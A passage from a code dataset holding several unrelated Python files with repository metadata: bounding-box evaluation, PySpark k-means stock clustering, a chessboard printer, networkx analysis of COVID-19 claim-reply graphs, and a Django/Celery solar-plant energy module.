len(ground_truth) == 0:\n        return 1.0, 1.0, 0.0, 0.0\n    if len(prediction) > 0 and len(ground_truth) == 0:\n        return 0.0, 1.0, 0.0, len(prediction)\n\n    # predictions that intersect with multiple objects are associated by greatest iou\n    ious = [[iou(gt, p) for gt in ground_truth] for p in prediction]\n    association = [max(enumerate(lst), key=lambda x:x[1]) for lst in ious]  # generates (key, value) pairs\n\n    # only predictions with iou > min_iou are associated\n    association = [a if a[1] > min_iou else (-1, a[1]) for a in association]\n\n    # only prediction with greatest iou is associated with the ground truth\n    for gt in range(len(ground_truth)):\n        indices = [(i, a[1]) for i, a in enumerate(association) if a[0] == gt]\n        if len(indices) > 1:\n            indices.pop(max(enumerate(indices), key=lambda x: x[1][1])[0])\n            for elem in indices:\n                association[elem[0]] = (-1, association[elem[0]][1])\n\n    # return precision, recall, tp, fp\n    tp = sum([1 for a in association if a[0] >= 0])\n    return float(tp)/len(prediction), float(tp)/len(ground_truth), tp, len(prediction) - tp\n","repo_name":"wllhf/img_toolbox","sub_path":"bbox.py","file_name":"bbox.py","file_ext":"py","file_size_in_byte":4416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"69962323575","text":"from upload_to_gcp import Upload_To_GCP\nfrom read_data_source import Read_In_Data_Source\n\nfrom pyspark.sql import SparkSession, functions as F\nfrom pyspark.sql.functions import avg, variance, col\nfrom pyspark.sql.window import Window\nfrom pyspark.ml.feature import VectorAssembler, StandardScaler\nfrom pyspark.ml.clustering import KMeans\nfrom pyspark.ml.evaluation import ClusteringEvaluator\nfrom pyspark.ml.functions import vector_to_array\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom datetime import datetime\nimport re\n\n\nclass K_Means_Stocks_Clustering:\n    def __init__(self):\n        self.gcp_functions = Upload_To_GCP()\n        self.read_in_data_source = Read_In_Data_Source()\n        self.stock_df_clean = self.read_in_data_source.read_in_data_data_cleaning()\n\n\n    def daily_returns_avg_var_cluster(self):\n        self.k_means_log = \"\"\n        number_of_clusters = 4\n\n        k_means_set = self.stock_df_clean.select('Symbol', 'Date', 'daily_return', 'GICS Sector')\n        cluster_set = k_means_set.groupBy('Symbol')\\\n            .agg(F.round(avg('daily_return'), 4).alias('avg(daily_return)'), F.round(variance('daily_return'), 4).alias('variance(daily_return)'))\n\n        assemble=VectorAssembler(inputCols=['avg(daily_return)', 'variance(daily_return)'], outputCol='features')\n        assembled_data=assemble.transform(cluster_set)\n\n        scale=StandardScaler(inputCol='features',outputCol='standardized')\n        data_scale=scale.fit(assembled_data)\n        data_scale_output=data_scale.transform(assembled_data)\n\n\n        evaluator = ClusteringEvaluator(predictionCol='prediction', featuresCol='standardized', \\\n                                        metricName='silhouette', distanceMeasure='squaredEuclidean')\n            \n        KMeans_algo=KMeans(featuresCol='standardized', k=number_of_clusters)\n        KMeans_fit=KMeans_algo.fit(data_scale_output)\n        output=KMeans_fit.transform(data_scale_output)\n        score=evaluator.evaluate(output)\n\n        self.k_means_log += f\"{datetime.now()}: \\nThe Number of Clusters is: {number_of_clusters}\\n\"\n        self.k_means_log += f\"\\n{datetime.now()}: \\nThe Silhouette score is: {score}\\n\"\n        self.gcp_functions.upload_string_message(bucket_name=\"stock-sp500\", contents=self.k_means_log, destination_blob_name=\"Clustering/k_means_log.txt\")\n    \n        cluster_df = output.withColumn(\"xs\", vector_to_array(\"standardized\")) \\\n            .select(['Symbol','avg(daily_return)', 'variance(daily_return)', 'prediction'] + [col(\"xs\")[i] for i in range(2)])\n\n\n        final_cluster_df = cluster_df.join(k_means_set, 'Symbol', how = 'left').\\\n            select('Symbol', 'avg(daily_return)', 'variance(daily_return)', 'prediction','xs[0]','xs[1]', 'GICS Sector').\\\n                distinct().toPandas()\n\n        final_cluster_df.to_csv('gs://stock-sp500/Clustering/k_means_clustered_data.csv', index = False)\n\n        final_cluster_df['prediction'] = final_cluster_df['prediction'].astype('str')\n        final_cluster_df.rename({\"xs[0]\": \"daily_return_standardized\", \"xs[1]\": \"volume_standardized\"}, axis = \"columns\", inplace = True)\n\n        new_final_cluster_df = final_cluster_df[final_cluster_df[\"variance(daily_return)\"]<=10]\n\n\n        # Counts per Cluster\n        counts_per_cluster = sns.countplot(x=\"prediction\", data=final_cluster_df, order=['0','1','2','3'])\n        counts_per_cluster.bar_label(counts_per_cluster.containers[0])\n        plt.title('Counts by Cluster')\n        plt.savefig(\"counts_per_cluster.png\")\n\n        # Uploading this figure up to GCP bucket\n        self.gcp_functions.upload_filename(bucket_name=\"stock-sp500\", \n                                           file_name= \"counts_per_cluster.png\", \n                                           destination_blob_name=\"Clustering/counts_per_cluster.png\")\n\n\n        fig, axs = plt.subplots(ncols=2, figsize=(15,5))\n        all_data = sns.scatterplot(data=final_cluster_df, \n                            x=\"avg(daily_return)\", \n                            y=\"variance(daily_return)\", \n                            hue=\"prediction\",\n                            alpha=0.75,\n                        hue_order = ['0', '1', '2', '3'], ax=axs[0], legend = False)\n\n        zoomed_in = sns.scatterplot(data=new_final_cluster_df, \n                        x=\"avg(daily_return)\", \n                            y=\"variance(daily_return)\", \n                            hue=\"prediction\",\n                            alpha=0.75,\n                        hue_order = ['0', '1', '2', '3'], ax=axs[1])\n        axs[1].set_title('Zoomed In: K-Means Clusters')\n        axs[0].set_title('All Data: K-Means Clusters')\n        zoomed_in.legend(loc='center left', bbox_to_anchor=(1, 0.5), ncol=1, title = \"Cluster Group\")\n        fig.tight_layout()\n        plt.savefig(\"k_means_cluster.png\")\n\n        # Uploading this figure up to GCP bucket\n        self.gcp_functions.upload_filename(bucket_name=\"stock-sp500\", \n                                           file_name= \"k_means_cluster.png\", \n                                           destination_blob_name=\"Clustering/k_means_cluster.png\")\n\n        \n        # Average Daily Returns Histogram\n        fig, axs = plt.subplots(ncols=2, figsize=(15,5))\n        all_data_hist = sns.histplot(data=final_cluster_df, x=\"avg(daily_return)\", kde=True, ax=axs[0])\n        zoomed_data_hist = sns.histplot(data=new_final_cluster_df, x=\"avg(daily_return)\", kde=True, ax=axs[1])\n        axs[0].set_title('Average Daily Returns: All Data')\n        axs[1].set_title('Average Daily Returns: Zoomed In')\n        fig.tight_layout()\n        plt.savefig(\"avg_dr_hist.png\")\n\n        # Uploading this figure up to GCP bucket\n        self.gcp_functions.upload_filename(bucket_name=\"stock-sp500\", \n                                           file_name= \"avg_dr_hist.png\", \n                                           destination_blob_name=\"Clustering/avg_dr_hist.png\")\n\n\n        # Variance Daily Returns Histogram\n        fig, axs = plt.subplots(ncols=2, figsize=(15,5))\n        all_data_hist = sns.histplot(data=final_cluster_df, x=\"variance(daily_return)\", kde=True, ax=axs[0])\n        zoomed_data_hist = sns.histplot(data=new_final_cluster_df, x=\"variance(daily_return)\", kde=True, ax=axs[1])\n        axs[0].set_title('Variance Daily Returns: All Data')\n        axs[1].set_title('Variance Daily Returns: Zoomed In')\n        fig.tight_layout()\n        plt.savefig(\"var_dr_hist.png\")\n\n        # Uploading this figure up to GCP bucket\n        self.gcp_functions.upload_filename(bucket_name=\"stock-sp500\", \n                                           file_name= \"var_dr_hist.png\", \n                                           destination_blob_name=\"Clustering/var_dr_hist.png\")","repo_name":"carlosmonsivais123/PySpark-SP500-Portfolio-Optimization","sub_path":"PySpark_Clustering/k_means.py","file_name":"k_means.py","file_ext":"py","file_size_in_byte":6740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"6448627115","text":"import string\nimport os\nimport time\n\n\ncoords = [[7,1], [5,2], [4,4], [2,5], [4,6], [3,8]]\n\ndef set_poles ():\n    table = [['0']*9 for i in range(9)]\n    table[-1] = [0] + list(string.ascii_lowercase[:8])\n    for i in range(8):\n        table[i][0] = 8-i\n    return table\n\ndef print_table(table):\n    for i in table:\n        print(i)\n\ndef main():\n    global coords\n    table = set_poles()\n    table[coords[0][0]][coords[0][1]] = '1'\n    print_table(table)\n\nwhile len(coords) > 0:\n    os.system('clear')\n    main()\n    coords = coords[1::]\n    time.sleep(1)","repo_name":"HardreaM/euraz","sub_path":"Andrey Zybkov/f21.py","file_name":"f21.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"33033356337","text":"import networkx as nx\nimport matplotlib.pyplot as plt\nimport community\nimport collections\nimport numpy as np\nimport scipy as sp\nfrom collections import Counter\nfrom operator import itemgetter\nimport scipy.special\n\n# יבוא דאטא ראשוני\nData = open('ClaimRealCOVID-19_tweets_replies_5.csv', \"r\")\nnext(Data, None)  # skip the first line in the input file\nGraphtype = nx.DiGraph()\nG = nx.parse_edgelist(Data, delimiter=',', create_using=Graphtype, nodetype=int, data=(('weight', float),))\noriginal_nodes = list(G.nodes)\noriginal_edges = list(G.edges)\nprint(\"number of nodes \", len(original_nodes))\nprint(\"number of edges \", len(original_edges))\n# print(\"original_nodes\", original_nodes)\n# print(\"original_edges\", original_edges)\n# ציור גרף מקורי\ncolor_map = []\nfor node in G:\n    if node < 1000:\n        color_map.append('blue')  # news\n    elif node < 1000000:\n        color_map.append('red')  # articles\n    else:\n        color_map.append('#4a86e8')  # users\n# nx.draw(G, node_color=color_map, with_labels=False)\n# #pos = nx.spring_layout(G)\n# plt.show()\n\n# רכיבי קשירות\n# print(\"num of strongly cc \", nx.number_strongly_connected_components(G))\n# print(\"num of weakly cc \", nx.number_weakly_connected_components(G))\n# print(\"all the components\")\nb = sorted(nx.weakly_connected_components(G), key=len, reverse=True)\n# print(\"b\", len(b))\n\n# ציור רכיב הקשירות הגדול ביותר\n# largest = len(b[3])\n# print(\"largest connected components \", largest)\nNH = G.subgraph(b[0])\nnodes = list(NH.nodes)\nedges = list(NH.edges)\nprint(\"***********************\")\n# print(\"diameter\",nx.diameter(NH.to_undirected()))\n# print(\"average\",nx.average_shortest_path_length(NH))\n# print(\"largest connected components nodes\", len(nodes))\n# print(\"largest connected components edges\", len(edges))\ncolor_map = []\nfor node in NH:\n    if node < 1000:\n        color_map.append('blue')  # news\n    elif node < 1000000:\n        color_map.append('red')  # articles\n    else:\n        color_map.append('#4a86e8')  # users\n# nx.draw(NH, node_color=color_map, with_labels=False)\n# plt.show()\n\n######## degree  histogram ###################33\n\n# degree_sequence = sorted([d for n, d in G.degree()], reverse=True)  # degree sequence\n# print(\"degree\",degree_sequence)\n# degreeCount = collections.Counter(degree_sequence)\n# deg, cnt = zip(*degreeCount.items())\n# fig, ax = plt.subplots()\n# plt.bar(deg, cnt, width=0.80, color=\"b\")\n# plt.title(\"Degree Histogram\")\n# plt.ylabel(\"Count\")\n# plt.yscale('log')\n# plt.xlabel(\"Degree\")\n# plt.xscale('log')\n# plt.yscale('log')\n# plt.show()\n\n# התפלגות דרגות\n# degree_sequence = sorted([d for n, d in NH.degree()], reverse=True)  # degree sequence\n# print(\"degree\", degree_sequence)\n# degreeCount = collections.Counter(degree_sequence)\n# deg, cnt = zip(*degreeCount.items())\n# print(\"deg\",deg)\n# p = []\n# for x in cnt:\n#     p.append(x / len(nodes))\n# print(\"cnt\", cnt)\n# print(\"probabily\", p)\n# fig, ax = plt.subplots()\n# plt.bar(deg, p, width=1, color=\"b\",edgecolor='black',)\n# plt.title(\"Degree Histogram\")\n# plt.ylabel(\"probability\")\n# plt.xlabel(\"Degree\")\n# plt.xscale('log')\n# plt.yscale('log')\n# # plt.xlim([0, 4000])\n# # plt.ylim([0, 1])\n# plt.show()\n\n# מדדי מרכזיות\n\n# print(\"degree centrality\", nx.degree_centrality(G))\n# print(nx.in_degree_centrality(G))\n# print(nx.out_degree_centrality(G))\n# print(\"betweenness\", nx.betweenness_centrality(G, k=100, normalized=True, weight=None, endpoints=False, seed=None))\n# print(\"pagerank\", nx.pagerank(G, alpha=0.8))\n# print(\"closeness\", nx.closeness_centrality(G))\n\n# degree_centrality=nx.degree_centrality(G)\n# a={k: v for k, v in sorted(degree_centrality.items(), key=lambda item: item[1], reverse=True)}\n# z=[]\n# for i in a.values():\n#     z.append(i)\n#\n# Count = collections.Counter(z)\n# deg, cnt = zip(*Count.items())\n# print(\"deg\",deg)\n# p = []\n# for x in cnt:\n#     p.append(x / len(nodes))\n# # print(\"cnt\", cnt)\n# # print(\"probabily\", p)\n# fig, ax = plt.subplots()\n# plt.bar(deg, cnt, width=1, color=\"b\",edgecolor='black',)\n# plt.title(\"Degree Histogram\")\n# plt.ylabel(\"cnt\")\n# plt.xlabel(\"Degree\")\n# plt.xlim([0,2])\n# plt.show()\n\n\n# plt.hist(deg, bins=np.logspace(np.log10(1), np.log10(1000), 100), density=True, edgecolor='black')\n# plt.gca().set_xscale(\"log\")\n# plt.gca().set_yscale(\"log\")\n# plt.show()\n# degree_centrality=nx.degree_centrality(G)\n# node_sizes=[]\n# for x in degree_centrality.values():\n#     node_sizes.append(x*1000)\n#\n# in_degree=nx.in_degree_centrality(G)\n# node_sizes=[]\n# for x in in_degree.values():\n#     node_sizes.append(x*1000)\n\n# out_degree=nx.out_degree_centrality(G)\n# node_sizes=[]\n# for x in out_degree.values():\n#     node_sizes.append(x*1000)\n\n# betweenness=nx.betweenness_centrality(G, k=None, normalized=True, weight=None, endpoints=False, seed=None)\n# node_sizes=[]\n# for x in betweenness.values():\n#     node_sizes.append(x*1000)\n\n# page_rank= nx.pagerank(G, alpha=0.8)\n# node_sizes=[]\n# for x in page_rank.values():\n#     node_sizes.append(x*1000)\n\n\n# closeness=nx.closeness_centrality(G)\n# node_sizes=[]\n# for x in closeness.values():\n#     node_sizes.append(x*1000)\n#\n\n# nx.draw(G, node_color=color_map,node_size=node_sizes, with_labels=False)\n# plt.show()\n\n\n# ניסוי יצירת גרף רק משתמשים 1\nDG = nx.DiGraph()\ncnt = 0\nonly_users = []\nonly_claims = []\nfor node in NH:\n    if node > 1000 and node < 1000000:\n        cnt = cnt + 1\n        only_claims.append(node)\n    elif node > 1000000:\n        only_users.append(node)  # users\n\n# print(\"articles\", cnt)\n# print(only_users)\n# print(only_claims)\n\nDG.add_nodes_from(only_users)\n\nfor l in only_claims:\n    claims_out = list(NH.successors(l))\n    claims_in = list(NH.predecessors(l))\n    # print(\"for \",l , claims_out,claims_in)\n    for x in claims_in:\n        for y in claims_out:\n            DG.add_edge(x, y)\n\n# nx.draw(DG, with_labels=False)\n# plt.show()\nprint(\"####################3\")\nprint(\"nodes:\", len(list(DG.nodes)), \"edges:\", len(list(DG.edges)))\n# print(\"diameter\",nx.diameter(DG.to_undirected()))\n# print(\"average\", nx.average_shortest_path_length(DG))\n\n# remove = [node for node, degree in dict(DG.degree()).items() if degree == 1084]\n# DG.remove_nodes_from(remove)\n# # remove = [node for node, degree in dict(DG.degree()).items() if degree > 400]\n# # DG.remove_nodes_from(remove)\n# remove = [node for node, degree in dict(DG.degree()).items() if degree == 125]\n# DG.remove_nodes_from(remove)\n# remove = [node for node, degree in dict(DG.degree()).items() if 100 > degree > 10]\n# DG.remove_nodes_from(remove)\n# # nx.draw(DG, with_labels=False)\n# # plt.show()\n# print(\"nodes:\", len(list(DG.nodes)), \"edges:\", len(list(DG.edges)))\n\n\n\n\n# התפלגות דרגות\ndegree_sequence = DG.in_degree()\nprint(degree_sequence)\ndegree_sequence = sorted([d for n, d in DG.in_degree()], reverse=True)  # degree sequence\nprint(\"degree\", degree_sequence)\ndegreeCount = collections.Counter(degree_sequence)\ndeg, cnt = zip(*degreeCount.items())\n# print(\"deg\",deg)\n# # p = []\n# # for x in cnt:\n# #     p.append(x / len(nodes))\nprint(\"cnt\", cnt)\n# # print(\"probabily\", p)\nfig, ax = plt.subplots()\nplt.bar(deg, cnt, width=1, color=\"b\")\nplt.title(\"Degree Histogram\")\nplt.ylabel(\"count\")\nplt.xlabel(\"Degree\")\nplt.xscale('log')\nplt.yscale('log')\nplt.show()\n\n#התפלגות עם נרמול של העמודות\nplt.hist(deg, bins=np.logspace(np.log10(1), np.log10(1000), 50), density=True, stacked=True, edgecolor='black')\nplt.gca().set_xscale(\"log\")\nplt.gca().set_yscale(\"log\")\nplt.show()\nx=np.array(deg)\ny=np.array(cnt)\n\n#Applying a linear fit with .polyfit()\nfit = np.polyfit(x,y,1)\nang_coeff = fit[0]\nintercept = fit[1]\nprint(fit)\nfit_eq = ang_coeff*x + intercept  #obtaining the y axis values for the fitting function\nprint(fit_eq)\n#Plotting the data\nfig = plt.figure()\nax = fig.subplots()\nax.plot(x, fit_eq,color = 'r', alpha = 0.5, label = 'Linear fit')\nax.scatter(x,y,s = 5, color = 'b', label = 'Data points') #Original data points\nax.set_title('Linear fit ')\nax.legend()\n# plt.xscale('log')\n# plt.yscale('log')\nplt.show()\n\n\n\n# betweenness=nx.betweenness_centrality(DG, k=None, normalized=True, weight=None, endpoints=False, seed=None)\n# print(betweenness)\n# node_sizes=[]\n# for x in betweenness.values():\n#     node_sizes.append(x*1000)\n# nx.draw(DG, node_color=color_map,node_size=node_sizes, with_labels=False)\n# plt.show()\n# print(sorted([d for n, d in DG.out_degree()], reverse=True))\npage_rank = nx.pagerank(DG, alpha=0.8)\na = dict(sorted(page_rank.items(), reverse=True, key=lambda item: item[1]))\nprint(\"page rank\", a)\n\ncloseness = nx.closeness_centrality(DG)\na = dict(sorted(closeness.items(), reverse=True, key=lambda item: item[1]))\nprint(\"closeness\", a)\n# key=list(a.keys())\n# value=list(a.values())\n# fig, ax = plt.subplots()\n# # ax.fmt_ydata = millions\n# plt.plot(key, value, 'o')\n# plt.show()\n\n# configuration\n# degrees = []\n# degree_list = DG.degree(original_nodes)\n# for d in degree_list:\n#     degrees.append(d[1])\n# print(degrees)\n# CM = nx.configuration_model(degrees, create_using=None, seed=None)\n# nx.draw(CM, with_labels=False)\n# plt.show()\n# print(\"nodes:\", len(list(CM.nodes)))\n# print(\"edges:\", len(list(CM.edges)))\n\n# erdos\n# ERG = nx.erdos_renyi_graph(len(list(DG.nodes)), 0.0385, seed=None, directed=False)\n# # nx.draw(ERG, with_labels=False)\n# # plt.show()\n# print(\"nodes:\", len(list(ERG.nodes)))\n# print(\"edges:\", len(list(ERG.edges)))\n\nclustering = nx.clustering(DG, nodes=None, weight=None)\na = dict(sorted(clustering.items(), reverse=True, key=lambda item: item[1]))\nprint(\"clustering\", a)\n\nprint(nx.transitivity(DG))\n","repo_name":"Hila97/socialNetworks","sub_path":"real_claim.py","file_name":"real_claim.py","file_ext":"py","file_size_in_byte":9594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"24883326147","text":"from __future__ import absolute_import\nfrom celery import shared_task\nimport logging\nimport traceback\nimport sys\nfrom django.conf import settings\nfrom django.db import connections\nimport datetime\nfrom dataglen.models import Sensor\nfrom isoweek import Week\nfrom solarrms.models import IndependentInverter, SolarPlant, PlantMetaSource\nfrom dataglen.models import ValidDataStorageByStream\nfrom solarrms.settings import INVERTER_VALID_LAST_ENTRY_MINUTES, INVERTER_POWER_FIELD, \\\n    PLANT_POWER_STREAM, PLANT_ENERGY_STREAM, INVERTER_ENERGY_FIELD\n# DO NOT CHANGE THIS IMPORT!\nfrom kutbill.worker import *\nfrom monitoring.views import write_a_data_write_ttl\nfrom datetime import timedelta\nimport pytz\n\n\n# get a logger\nlogger = logging.getLogger('logger.tasks')\nlogger.setLevel(logging.DEBUG)\n\ndef write_logging_errors(func_name):\n    logger.debug(\"%s,%s,%s\",\n                 func_name, traceback.format_exc(),\n                 repr(traceback.extract_stack()))\n\n\ndef compare_dates(offset_naive_dt, offset_aware_dt):\n    return offset_naive_dt.replace(tzinfo=pytz.UTC, microsecond=0) == offset_aware_dt.astimezone(pytz.UTC).replace(microsecond=0)\n\ndef write_plant_energy(user_id, plant_metakey, ts, n_writes):\n    #logger.debug(\",\".join([str(user_id), str(plant_metakey), str(ts), str(n_writes)]))\n    unit_conversion = 1.0\n    try:\n        plant_meta = PlantMetaSource.objects.get(sourceKey=plant_metakey)\n        #logger.debug(plant_meta)\n        plant_slug = plant_meta.plant.slug\n        #logger.debug(plant_slug)\n        # DO THE POWER CALCULATIONS\n        if plant_meta.sending_aggregated_power:\n            unit = plant_meta.fields.filter(name=PLANT_POWER_STREAM)[0].streamDataUnit\n            #logger.debug(unit)\n            if unit:\n                if unit.upper() == \"W\":\n                    unit_conversion = 1000.0\n                elif unit.upper() == \"KW\":\n                    unit_conversion = 1.0\n            else:\n                unit_conversion = 1.0\n            #logger.debug(\"power unit:\" + str(unit_conversion))\n            try:\n                power_value = ValidDataStorageByStream.objects.filter(source_key=plant_meta.sourceKey,\n                                                                      stream_name=PLANT_POWER_STREAM,\n                                                                      timestamp_in_data=ts)\n                # assert that the last data write is same as this ts\n                power_value = float(power_value[0].stream_value)/float(unit_conversion)\n            except:\n                return 0\n            #logger.debug(power_value)\n            # WRITE THE VALUES\n            update_power(plant_slug, ts, power_value)\n            #logger.debug(\"power_updated\")\n\n        if plant_meta.sending_aggregated_energy:\n            # DO THE ENERGY CALCULATIONS\n            unit = plant_meta.fields.filter(name=PLANT_ENERGY_STREAM)[0].streamDataUnit\n            if unit:\n                if unit.upper() == \"WH\":\n                    unit_conversion = 1000.0\n                elif unit.upper() == \"KWH\":\n                    unit_conversion = 1.0\n            else:\n                unit_conversion = 1.0\n\n            #logger.debug(\"energy unit: \" + str(unit_conversion))\n            try:\n                energy_values = ValidDataStorageByStream.objects.filter(source_key=plant_meta.sourceKey,\n                                                                        stream_name=PLANT_ENERGY_STREAM,\n                                                                        timestamp_in_data__lte=ts).limit(2)\n                # assert that the first timestamp is same as this data write\n                assert(compare_dates(energy_values[0].timestamp_in_data,ts))\n                # if the values are next to each other\n                if energy_values[0].timestamp_in_data - energy_values[1].timestamp_in_data < datetime.timedelta(minutes=INVERTER_VALID_LAST_ENTRY_MINUTES):\n                    # since it's cumulative, it should be positive\n                    if (float(energy_values[0].stream_value) - float(energy_values[1].stream_value)) > 0:\n                        energy_value = float(float(energy_values[0].stream_value) - float(energy_values[1].stream_value))/float(unit_conversion)\n                        energy_today = float(energy_values[0].stream_value)\n                    else:\n                        return 0\n                else:\n                    return 0\n            except:\n                return 0\n            #logger.debug(energy_value)\n            update_energy(str(user_id) + \"_\" + str(plant_slug), ts, energy_value, energy_today)\n            #logger.debug(\"energy_updated\")\n    except Sensor.DoesNotExist:\n        return 0\n\ndef write_inverter_energy(user_id, source_key, ts, n_writes):\n    logger.debug(\",\".join([str(user_id), str(source_key), str(ts), str(n_writes), \"write_inverter_energy\"]))\n    unit_conversion = 1.0\n    try:\n        inverter = IndependentInverter.objects.get(sourceKey=source_key)\n        try:\n            if hasattr(inverter.plant, 'gateway'):\n                if inverter.plant.gateway.isVirtual:\n                    write_a_data_write_ttl(inverter.plant.owner.organization_user.user_id,\n                                           inverter.plant.gateway.sourceKey,\n                                           inverter.plant.gateway.timeoutInterval,\n                                           True,\n                                           timezone.now())\n        except Exception as exc:\n            logger.debug(exc)\n            pass\n        plant_slug = inverter.plant.slug\n        unit = inverter.fields.filter(name=INVERTER_POWER_FIELD)[0].streamDataUnit\n        if unit:\n            if unit.upper() == \"W\":\n                unit_conversion = 1000.0\n            elif unit.upper() == \"KW\":\n                unit_conversion = 1.0\n        else:\n            unit_conversion = 1.0\n    except IndependentInverter.DoesNotExist:\n        return 0\n\n    try:\n        #raise ValidDataStorageByStream.DoesNotExist\n        daily_yield = ValidDataStorageByStream.objects.filter(source_key=source_key,\n                                                              stream_name=INVERTER_ENERGY_FIELD,\n                                                              timestamp_in_data__lte=ts).limit(2)\n        if len(daily_yield) == 0:\n            # it's a dumb inverter\n            logger.debug(\"daily_yield == 0 no such data\")\n            raise ValidDataStorageByStream.DoesNotExist\n\n        if len(daily_yield) >= 1:\n            # update the power in all cases if there's no cluster controller\n            if hasattr(inverter.plant, 'metadata'):\n                if inverter.plant.metadata.sending_aggregated_power is False:\n                    logger.debug(\"writing power for this inverter\")\n                    # update power values for this inverter, nothing can be done for energy yet\n                    write_entries = ValidDataStorageByStream.objects.filter(source_key=source_key,\n                                                                            stream_name=INVERTER_POWER_FIELD,\n                                                                            timestamp_in_data=ts).values_list('timestamp_in_data', 'stream_value')\n                    if len(write_entries) == 0:\n                        logger.debug(\"write_entries==0\")\n                    elif n_writes == 1:\n                        update_power(plant_slug, ts, float(write_entries[0][1])/float(unit_conversion))\n                    elif n_writes > 1:\n                        logger.debug(\"this should not be happening since we are not sending aggregated data yet\")\n\n        # assert that the first timestamp in the data is same as of this data write\n        assert(compare_dates(daily_yield[0].timestamp_in_data, ts))\n        if len(daily_yield) == 2:\n            # update energy if the data records are greater than 1 (i.e. the energy can be calculated)\n            # and there is no cluster controller\n            # it's an intelligent inverter\n            if daily_yield[0].timestamp_in_data - daily_yield[1].timestamp_in_data > \\\n                    datetime.timedelta(minutes=INVERTER_VALID_LAST_ENTRY_MINUTES):\n                return 0\n\n            #logger.debug(\"intelligent inverter\")\n            if float(daily_yield[1].stream_value) > 100000 or float(daily_yield[0].stream_value) > 100000:\n                # TODO relate it to the plant capacity\n                #logger.debug(\"abnormal value\")\n                return 0\n            #logger.debug(float(daily_yield[0].stream_value))\n            #logger.debug(float(daily_yield[1].stream_value))\n\n            energy = float(float(daily_yield[0].stream_value) - float(daily_yield[1].stream_value))\n            if energy < 0 :\n                #logger.debug(\"day change?\")\n                return 0\n            # update it for both plant and inverter\n            energy_unit = inverter.fields.filter(name=INVERTER_ENERGY_FIELD)[0].streamDataUnit\n            energy_unit_conversion = 1.0\n            if energy_unit:\n                if energy_unit.upper() == \"WH\":\n                    energy_unit_conversion = 1000.0\n                elif energy_unit.upper() == \"KWH\":\n                    energy_unit_conversion = 1.0\n            # update for the inverter in any case\n            update_energy(inverter.sourceKey, ts, energy/energy_unit_conversion, float(daily_yield[1].stream_value))\n            if hasattr(inverter.plant, 'metadata'):\n                if inverter.plant.metadata.sending_aggregated_energy is False:\n                    # update for teh plant also\n                    update_energy(str(user_id) + \"_\" + str(inverter.plant.slug), ts, energy/energy_unit_conversion)\n    except Exception as exc:\n        #logger.debug(str(exc))\n        # there's no daily_yield data, dumb inverter\n        #\n        # DUMB INVERTER - not sending cumulative energy values\n        #logger.debug(\"it's a dumb inverter\")\n        try:\n            # get all the active power values >= ts and limit by n_writes [essentially the data point at ts]\n            write_entries = ValidDataStorageByStream.objects.filter(source_key=source_key,\n                                                                    stream_name=INVERTER_POWER_FIELD,\n                                                                    timestamp_in_data=ts).values_list('timestamp_in_data', 'stream_value')\n\n            if len(write_entries) == 0:\n                #logger.debug(\",\".join([\"returning\", str(len(write_entries))]))\n                # nothing to be done, this should not be happening though\n                return 0\n\n            #logger.debug(\",\".join([\"write_entries\", str(len(write_entries))]))\n            # get a value just before the first value in the array, to calculate energy\n            last_entry = ValidDataStorageByStream.objects.filter(source_key=source_key,\n                                                                 stream_name=INVERTER_POWER_FIELD,\n                                                                 timestamp_in_data__lt=ts).limit(1).values_list('timestamp_in_data', 'stream_value')\n            final_entries = []\n            if len(last_entry) == 0:\n                #logger.debug(\"last_entry==0\")\n                if n_writes > 1:\n                    pass\n                elif n_writes == 1:\n                    # there's no last valid entry\n                    # if we've received only a single write, return now\n                    if hasattr(inverter.plant, 'metadata'):\n                        if inverter.plant.metadata.sending_aggregated_power is False:\n                            update_power(plant_slug, ts, float(write_entries[0][1])/float(unit_conversion))\n                            return 0\n                    else:\n                        update_power(plant_slug, ts, float(write_entries[0][1])/float(unit_conversion))\n                        return 0\n            else:\n                final_entries.append(last_entry[0])\n\n            #logger.debug(len(write_entries))\n            for entry in write_entries:\n                final_entries.append(entry)\n\n            #logger.debug(len(final_entries))\n            for i in range(0, len(final_entries) - 1):\n                if final_entries[i+1][0] - final_entries[i][0] > datetime.timedelta(minutes=INVERTER_VALID_LAST_ENTRY_MINUTES):\n                    continue\n                else:\n                    if float(final_entries[i+1][1]) < 0 or float(final_entries[i][1]) < 0:\n                        continue\n                    energy_mean = (float(final_entries[i+1][1]) + float(final_entries[i][1]))/(float(2)*unit_conversion)\n                    delta = final_entries[i+1][0] - final_entries[i][0]\n                    total_seconds = delta.total_seconds()\n                    energy = (energy_mean * total_seconds)/float(3600)\n                    if hasattr(inverter.plant, 'metadata'):\n                        if inverter.plant.metadata.sending_aggregated_energy is False:\n                            update_energy(inverter.sourceKey, ts, energy)\n                            update_energy(str(user_id) + \"_\" + str(inverter.plant.slug), ts, energy)\n                        else:\n                            update_energy(inverter.sourceKey, ts, energy)\n                    else:\n                        update_energy(inverter.sourceKey, ts, energy)\n                        update_energy(str(user_id) + \"_\" + str(inverter.plant.slug), ts, energy)\n\n            # skip the first entry as that's an old value - we needed that for the computation of energy\n            # but that should not be added again as power\n            #logger.debug(\"updating power values\")\n            for i in range(1, len(final_entries)):\n                if hasattr(inverter.plant, 'metadata'):\n                    if inverter.plant.metadata.sending_aggregated_power is False:\n                        update_power(plant_slug, ts, float(write_entries[0][1])/float(unit_conversion))\n                else:\n                    update_power(plant_slug, ts, float(write_entries[0][1])/float(unit_conversion))\n        except Exception as exc:\n            return 0\n\n@shared_task\ndef update_power(plant_slug, ts, power):\n    #logger.debug(\",\".join([plant_slug, str(ts), str(power), \"update_power\"]))\n    if power < 0:\n        return\n    try:\n        timestamp = ts.replace(second=0, microsecond=0)\n        session = connections['cassandra'].connection.session\n\n        if session:\n            get_power_statement = session.prepare(\"SELECT power from dataglen_data.plant_power_table WHERE plant_slug = ? AND ts = ?\")\n            update_power_statement = session.prepare(\"UPDATE dataglen_data.plant_power_table SET power = ? WHERE plant_slug = ? AND ts = ?\")\n\n            existing_power = session.execute(get_power_statement, [plant_slug,\n                                                                   timestamp])\n\n            if existing_power:\n                existing_power_value = float(existing_power[0]['power'])\n                updated_power = 